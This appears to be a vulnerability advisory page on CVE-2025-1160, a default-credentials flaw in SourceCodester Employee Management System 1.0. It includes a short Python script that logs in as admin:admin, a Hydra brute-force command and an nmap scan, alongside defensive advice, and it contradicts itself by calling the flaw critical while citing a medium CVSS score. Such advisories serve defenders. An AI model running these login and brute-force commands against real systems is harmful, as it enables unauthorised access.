CVE-2025-1160 is a critical vulnerability discovered in SourceCodester Employee Management System 1.0. The issue lies in the `index.php` file, where the system fails to enforce proper authentication mechanisms, allowing attackers to exploit default credentials (username/password). This vulnerability can be exploited remotely, enabling unauthorized access to the system. The use of default credentials makes it trivial for attackers to gain control over the application, potentially leading to data breaches, unauthorized modifications, or complete system compromise. The CVSS 4.0 score of 6.9 (MEDIUM) reflects the potential impact, with the attack vector being network-based, requiring no user interaction or privileges.
DailyCVE Form:
Platform: SourceCodester Employee Management System
Version: 1.0
Vulnerability: Default Credentials Exploit
Severity: Critical
Date: 02/10/2025
What Undercode Say:
Exploitation:
- Attackers can remotely access the system using default credentials (e.g., admin:admin).
- Use tools like `Hydra` or `Burp Suite` to brute-force credentials if defaults are changed.
3. Exploit code:
import requests
url = "http://target.com/index.php"
data = {"username": "admin", "password": "admin"}
response = requests.post(url, data=data)
if "Welcome" in response.text:
print("Exploit successful!")
Protection:
1. Change default credentials immediately after installation.
2. Implement strong password policies and multi-factor authentication.
- Regularly update the software to the latest version.
- Use a web application firewall (WAF) to block unauthorized access attempts.
Analytics:
- Monitor login attempts for unusual patterns.
- Use intrusion detection systems (IDS) to flag brute-force attacks.
- Regularly audit user accounts and permissions.
Tools:
- Hydra: For brute-forcing credentials.
- Burp Suite: For testing and exploiting vulnerabilities.
- Nmap: For network scanning and identifying open ports.
References:
Commands:
- Scan for open ports: `nmap -p 80,443 target.com`
– Brute-force with Hydra: `hydra -l admin -P wordlist.txt target.com http-post-form “/index.php:username=^USER^&password=^PASS^:Invalid”`
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-1160
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